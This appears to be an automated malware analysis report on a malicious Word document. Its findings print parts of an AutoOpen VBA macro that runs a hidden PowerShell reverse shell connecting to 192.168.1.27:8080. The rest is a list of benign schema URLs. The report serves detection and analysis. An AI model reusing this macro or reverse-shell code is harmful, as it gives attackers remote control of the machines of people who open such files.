Malicious Office (OOXML) — malware analysis report

Heuristics 6

• VBA project inside OOXML medium 4 related findings OOXML_VBA
  Document contains a VBA project — VBA macros present
• Potential Shell call in VBA critical OLE_VBA_SHELL
  Potential Shell call in VBA
  Matched line in script

      exec = exec & ";while (-not $done) {if ($client.Connected -ne $true) {cleanup};    $pos = 0; $i = 1;    while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) {$read = $stream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos);        $pos+=$read; if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {break};    };    if ($pos -gt 0) {$string = $encoding.GetString($networkbuffer,0,$pos);        $inputstream.write($string);        start-sleep 1;        if ($process.ExitCode -ne $nu …
      ret = Shell(exec, 0)
  End Sub

• PowerShell reference in VBA critical OLE_VBA_PS
  PowerShell reference in VBA
  Matched line in script

  Sub Main()
      exec = "powershell.exe """" function cleanup {if ($client.Connected -eq $true) {$client.Close()};    if ($process.ExitCode -ne $null) {$process.Close()};    exit;};$address = '192.168.1.27';$port = '8080';$client = New-Object system.net.sockets.tcpclient;$client.connect($address,$port);$stream = $client.GetStream();$networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize;$process = New-Object System.Diagnostics.Process;$process.StartInfo.FileName = 'C:\\Windows\System32\WindowsPow …
      exec = exec & ";while (-not $done) {if ($client.Connected -ne $true) {cleanup};    $pos = 0; $i = 1;    while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) {$read = $stream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos);        $pos+=$read; if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {break};    };    if ($pos -gt 0) {$string = $encoding.GetString($networkbuffer,0,$pos);        $inputstream.write($string);        start-sleep 1;        if ($process.ExitCode -ne $nu …

• VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
  Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
• AutoOpen macro low OLE_VBA_AUTOOPEN
  AutoOpen macro
  Matched line in script

  Attribute VB_Name = "AutoOpen"
  Sub Main()

• Embedded URL info EMBEDDED_URL
  One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
  URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)

  • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
  • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
  • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
  • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
  • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
  • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

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